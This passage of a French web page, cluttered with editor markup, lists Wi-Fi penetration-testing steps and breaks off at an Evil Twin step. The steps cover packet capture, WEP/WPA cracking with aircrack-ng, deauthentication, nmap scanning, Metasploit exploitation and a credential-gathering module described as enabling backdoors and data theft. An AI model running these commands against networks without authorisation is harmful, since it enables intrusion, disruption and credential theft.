</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">airodump-ng --bssid &lt;BSSID&gt; -c &lt;channel&gt; wlan0</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div>3\. **Capture des paquets de données**

**Commande :** `airodump-ng`

**Description :** Capturez les paquets de données pour analyser les trames de données et détecter les vulnérabilités.

**Exemple :**

<div class="cm-theme" id="bkmrk-airodump-ng---bssid--1" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ1h ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">airodump-ng --bssid &lt;BSSID&gt; -c &lt;channel&gt; -w capture wlan0</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div>4\. **Déchiffrement des paquets WEP**

**Commande :** `aircrack-ng`

**Description :** Utilisez `aircrack-ng` pour déchiffrer les paquets WEP capturés.

**Exemple :**

<div class="cm-theme" id="bkmrk-aircrack-ng--b-%3Cbssi" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ1i ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">aircrack-ng -b &lt;BSSID&gt; -w &lt;wordlist&gt; capture-01.cap</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div>5\. **Attaque de type Deauthentication**

**Commande :** `aireplay-ng`

**Description :** Forcez les clients à se reconnecter pour capturer des paquets de données.

**Exemple :**

<div class="cm-theme" id="bkmrk-aireplay-ng---deauth" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ1j ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">aireplay-ng --deauth 10 -a &lt;BSSID&gt; wlan0</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div>6\. **Attaque de type WPA/WPA2 PSK**

**Commande :** `aircrack-ng`

**Description :** Utilisez `aircrack-ng` pour attaquer les réseaux WPA/WPA2 en utilisant une attaque par force brute.

**Exemple :**

<div class="cm-theme" id="bkmrk-aircrack-ng--b-%3Cbssi-1" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ1k ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">aircrack-ng -b &lt;BSSID&gt; -w &lt;wordlist&gt; capture-01.cap</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div>7\. **Analyse des vulnérabilités**

**Commande :** `nmap`

**Description :** Utilisez `nmap` pour scanner les ports ouverts et détecter les vulnérabilités sur les périphériques connectés.

**Exemple :**

<div class="cm-theme" id="bkmrk-nmap--sv-%3Ctarget_ip%3E" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ1l ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">nmap -sV &lt;target_ip&gt;</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div>8\. **Exploitation des vulnérabilités**

**Commande :** `metasploit`

**Description :** Utilisez Metasploit pour exploiter les vulnérabilités détectées.

**Exemple :**

<div class="cm-theme" id="bkmrk-msfconsole-use-explo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ1m ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 102.625px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">msfconsole</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">use exploit/&lt;path_to_exploit&gt;</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">set RHOST &lt;target_ip&gt;</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">run</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div>9\. **Post-exploitation**

**Commande :** `metasploit`

**Description :** Après avoir exploité une vulnérabilité, vous pouvez utiliser Metasploit pour effectuer des actions post-exploitation, telles que l'installation de backdoors ou le vol de données.

**Exemple :**

<div class="cm-theme" id="bkmrk-use-post%2Fwindows%2Fgat" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ1n ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 82.4688px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">use post/windows/gather/credentials</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">set SESSION &lt;session_id&gt;</div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">run</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms; animation-name: cm-blink2;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;"><div class="cm-selectionBackground" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; background: rgb(62, 68, 81); left: 20px; top: 14px; width: 564px; height: 16px;">  
</div><div class="cm-selectionBackground" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; background: rgb(62, 68, 81); left: 6px; top: 30px; width: 578px; height: 24.3125px;">  
</div><div class="cm-selectionBackground" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; background: rgb(62, 68, 81); left: 6px; top: 54.3125px; width: 40px; height: 16px;">  
</div></div></div></div></div>Ces commandes et étapes vous permettront de réaliser un test de pénétration complet sur une borne WiFi, en identifiant et exploitant les vulnérabilités potentielles.

10\. **Capture des paquets avec Wireshark**

**Commande :** `wireshark`

**Description :** Utilisez Wireshark pour capturer et analyser les paquets réseau en temps réel. Cela peut aider à identifier des vulnérabilités spécifiques et à comprendre le trafic réseau.

**Exemple :**

<div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" id="bkmrk-wireshark" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ26 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
</div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;">wireshark</div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
</div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
</div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; color: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>11\. **Attaque de type Evil Twin**

**Commande :** `hostapd`

**Description :** Créez un faux point d'accès WiFi pour capturer les données des clients connectés.

**Exemple :**

<div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" id="bkmrk-hostapd-%2Fetc%2Fhostapd" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ27 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
